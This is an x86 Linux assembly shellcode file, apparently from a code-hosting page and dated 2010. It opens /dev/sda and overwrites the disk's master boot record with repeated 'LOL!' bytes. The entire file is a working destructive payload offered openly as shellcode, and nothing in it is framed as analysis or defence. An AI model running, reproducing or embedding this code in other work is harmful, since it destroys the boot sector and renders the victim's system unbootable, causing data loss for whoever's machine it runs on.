31 lines
No EOL
612 B
NASM
31 lines
No EOL
612 B
NASM
; linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes
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; root@thegibson
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; 2010-01-15
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section .text
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global _start
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_start:
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; open("/dev/sda", O_WRONLY);
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mov al, 5
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xor ecx, ecx
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push ecx
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push dword 0x6164732f
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push dword 0x7665642f
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mov ebx, esp
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inc ecx
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int 0x80
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; write(fd, "LOL!"x128, 512);
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mov ebx, eax
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mov al, 4
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cdq
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push edx
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mov cl, 128
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fill:
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push dword 0x214c4f4c
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loop fill
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mov ecx, esp
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inc edx
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shl edx, 9
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int 0x80 |